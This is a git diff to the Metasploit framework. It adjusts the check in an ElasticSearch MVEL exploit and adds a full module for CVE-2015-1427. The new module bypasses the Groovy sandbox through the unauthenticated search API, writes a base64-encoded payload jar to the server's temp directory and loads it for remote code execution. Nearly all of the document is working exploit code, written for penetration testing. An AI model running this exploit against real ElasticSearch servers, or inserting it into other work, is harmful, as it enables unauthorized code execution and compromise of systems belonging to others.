diff --git a/modules/exploits/multi/elasticsearch/script_mvel_rce.rb b/modules/exploits/multi/elasticsearch/script_mvel_rce.rb index cd8e65dcb5..d6fb488e75 100644 --- a/modules/exploits/multi/elasticsearch/script_mvel_rce.rb +++ b/modules/exploits/multi/elasticsearch/script_mvel_rce.rb @@ -100,22 +100,21 @@ class Metasploit3 < Msf::Exploit::Remote end def vulnerable? - addend_one = rand_text_numeric(rand(3) + 1).to_i - addend_two = rand_text_numeric(rand(3) + 1).to_i - sum = addend_one + addend_two + java = 'System.getProperty("java.class.path")' - java = java_sum([addend_one, addend_two]) - - vprint_status("#{peer} attempting to execute '#{java}' in Java") + vprint_status("#{peer} - Trying to execute 'System.getProperty(\"java.version\")'...") res = execute(java) result = parse_result(res) if result.nil? - vprint_status("#{peer} no response to executed Java") + vprint_status("#{peer} - No results for the Java test") return false + elsif result =~ /elasticsearch/ + vprint_status("#{peer} - Answer to Java test: #{result}") + return true else - vprint_status("#{peer} response to executed Java: #{result}") - result.to_i == sum + vprint_status("#{peer} - Answer to Java test: #{result}") + return false end end @@ -145,10 +144,6 @@ class Metasploit3 < Msf::Exploit::Remote result.is_a?(::Array) ? result.first : result end - def java_sum(summands) - summands.join(' + ') - end - def to_java_byte_array(str) buff = "byte[] buf = new byte[#{str.length}];\n" i = 0 diff --git a/modules/exploits/multi/elasticsearch/search_groovy_script.rb b/modules/exploits/multi/elasticsearch/search_groovy_script.rb new file mode 100644 index 0000000000..376acef76a --- /dev/null +++ b/modules/exploits/multi/elasticsearch/search_groovy_script.rb @@ -0,0 +1,202 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ElasticSearch Search Groovy Sandbox Bypass', + 'Description' => %q{ + This module exploits a remote command execution (RCE) vulnerability in ElasticSearch, + exploitable by default on ElasticSearch prior to 1.4.3. The bug is found in the + REST API, which does not require authentication, where the search function allows + groovy code execution and its sandbox can be bypassed using java.lang.Math.class.forName + to reference arbitrary classes. It can be used to execute arbitrary Java code. This + module has been tested successfully on ElasticSearch 1.4.2 on Ubuntu Server 12.04. + }, + 'Author' => + [ + 'Cameron Morris', # Vulnerability discovery + 'Darren Martyn', # Public Exploit + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2015-1427'], + ['URL', 'https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/'], + ['URL', 'https://github.com/XiphosResearch/exploits/tree/master/ElasticSearch'], + ['URL', 'http://drops.wooyun.org/papers/5107'] + ], + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + ['ElasticSearch 1.4.2', {}] + ], + 'DisclosureDate' => 'Feb 11 2015', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(9200), + OptString.new('TARGETURI', [true, 'The path to the ElasticSearch REST API', "/"]) + ], self.class) + end + + def check + result = Exploit::CheckCode::Safe + + if vulnerable? + result = Exploit::CheckCode::Vulnerable + end + + result + end + + def exploit + print_status("#{peer} - Checking vulnerability...") + unless vulnerable? + fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...") + end + + print_status("#{peer} - Discovering TEMP path...") + res = execute(java_tmp_dir) + tmp_dir = parse_result(res) + if tmp_dir.nil? + fail_with(Failure::Unknown, "#{peer} - Could not identify TEMP path...") + else + print_good("#{peer} - TEMP path on '#{tmp_dir}'") + end + + print_status("#{peer} - Discovering remote OS...") + res = execute(java_os) + os = parse_result(res) + if os.nil? + fail_with(Failure::Unknown, "#{peer} - Could not identify remote OS...") + else + print_good("#{peer} - Remote OS is '#{os}'") + end + + if os =~ /win/i + tmp_file = "#{tmp_dir}#{rand_text_alpha(4 + rand(4))}.jar" + else + tmp_file = File.join(tmp_dir, "#{rand_text_alpha(4 + rand(4))}.jar") + end + + register_files_for_cleanup(tmp_file) + + print_status("#{peer} - Trying to load metasploit payload...") + java = java_load_class(os, tmp_file) + execute(java) + end + + def vulnerable? + java = 'java.lang.Math.class.forName("java.lang.Runtime")' + + vprint_status("#{peer} - Trying to get a reference to java.lang.Runtime...") + res = execute(java) + result = parse_result(res) + + if result.nil? + vprint_status("#{peer} - no response to test") + return false + elsif result == 'class java.lang.Runtime' + return true + end + + false + end + + def parse_result(res) + unless res + vprint_error("#{peer} - No response") + return nil + end + + unless res.code == 200 && res.body + vprint_error("#{peer} - Target answered with HTTP code #{res.code} (with#{res.body ? '' : 'out'} a body)") + return nil + end + + begin + json = JSON.parse(res.body.to_s) + rescue JSON::ParserError + return nil + end + + begin + result = json['hits']['hits'][0]['fields']['msf_result'] + rescue + return nil + end + + result.is_a?(::Array) ? result.first : result + end + + def java_tmp_dir + 'java.lang.Math.class.forName("java.lang.System").getProperty("java.io.tmpdir")' + end + + def java_os + 'java.lang.Math.class.forName("java.lang.System").getProperty("os.name")' + end + + def java_load_class(os, tmp_file) + if os =~ /win/i + tmp_file.gsub!(/\\/, '\\\\\\\\') + end + + java = [ + 'c=java.lang.Math.class.forName("java.io.FileOutputStream");', + 'b64=java.lang.Math.class.forName("sun.misc.BASE64Decoder");', + "i=c.getDeclaredConstructor(String.class).newInstance(\"#{tmp_file}\");", + 'b64_i=b64.newInstance();', + "i.write(b64_i.decodeBuffer(\"#{Rex::Text.encode_base64(payload.encoded)}\"));", + 'loader_class=java.lang.Math.class.forName("java.net.URLClassLoader");', + 'file_class=java.lang.Math.class.forName("java.io.File");', + "file_url=file_class.getDeclaredConstructor(String.class).newInstance(\"#{tmp_file}\").toURI().toURL();", + 'loader=loader_class.newInstance();', + 'loader.addURL(file_url);', + 'm=loader.loadClass(\'metasploit.Payload\');', + 'm.main(null);' + ] + + java.join + end + + def execute(java, timeout = 20) + payload = { + "size" => 1, + "query" => { + "filtered" => { + "query" => { + "match_all" => {} + } + } + }, + "script_fields" => { + "msf_result" => { + "script" => java + } + } + } + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path.to_s, "_search"), + 'method' => 'POST', + 'data' => JSON.generate(payload) + }, timeout) + + res + end + +end